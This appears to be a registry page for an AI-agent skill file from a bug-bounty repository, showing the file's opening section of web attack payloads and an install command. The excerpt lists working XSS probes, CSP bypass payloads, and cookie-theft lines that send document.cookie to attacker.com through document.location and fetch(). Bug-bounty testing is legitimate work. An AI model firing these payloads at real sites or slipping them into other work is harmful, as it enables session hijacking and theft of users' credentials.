Security payloads, bypass tables, wordlists, gf pattern names, always-rejected bug list, and conditionally-valid-with-chain table. Use when you need specific payloads for XSS/SSRF/SQLi/XXE/IDOR/path-traversal, bypass techniques, or to check if a finding is submittable. Also use when asked about what NOT to submit.
Collected from public GitHub. Every version is saved exactly as it was and never changes. Install it at an exact version with the mdr tool, and every file is checked before it reaches your agent. The main file is checked against the SHA-256 fingerprint recorded here, and the others against the fingerprints GitHub keeps for its source commit. The automatic checks below grade the latest version, and the same checks always give the same file the same grade.
What the file says
# SECURITY ARSENAL
Payloads, bypass tables, wordlists, and submission rules.
---
## XSS PAYLOADS
### Basic Probes
```javascript
<script>alert(document.domain)</script>
<img src=x onerror=alert(document.domain)>
<svg onload=alert(document.domain)>
"><script>alert(1)</script>
'><img src=x onerror=alert(1)>
javascript:alert(document.domain)
```
### Cookie Theft (proof of impact)
```javascript
<script>document.location='https://attacker.com/c?c='+document.cookie</script>
<img src=x onerror="fetch('https://attacker.com?c='+document.cookie)">
<script>fetch('https://attacker.com?c='+btoa(document.cookie))</script>
```
### CSP Bypass Techniques
```javascript
// If unsafe-inline blocked — use fetch/XHR
<img src=x onerror="fetch('https://attacker.com?d='+btoa(document.cookie))">
// If script-src nonce present — find nonce reflection
<script nonce="NONCE_FROM_PAGE">alert(1)</script>
// Angular template injection (bypasses many CSPs)
{{constructor.constructor('alert(1)')()}}
// React dangerouslySetInnerHTML reflection
// Vue v-html binding
// mXSS (mutation-based XSS)
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
// Polyglot (works in HTML/JS/CSS context)

How to install
mdr add mikacr1138/claude-bug-bounty/security-arsenal@sha256:8b2206603485cd76The line at the top of this page pins the label git:20260317.a154787, which is what most people want. This one pins the sha256 fingerprint of the contents instead, so it survives a label being moved. Either way the exact version is written to mdr.lock, and mdr install downloads and checks those contents again, so it installs them exactly or stops with an error.
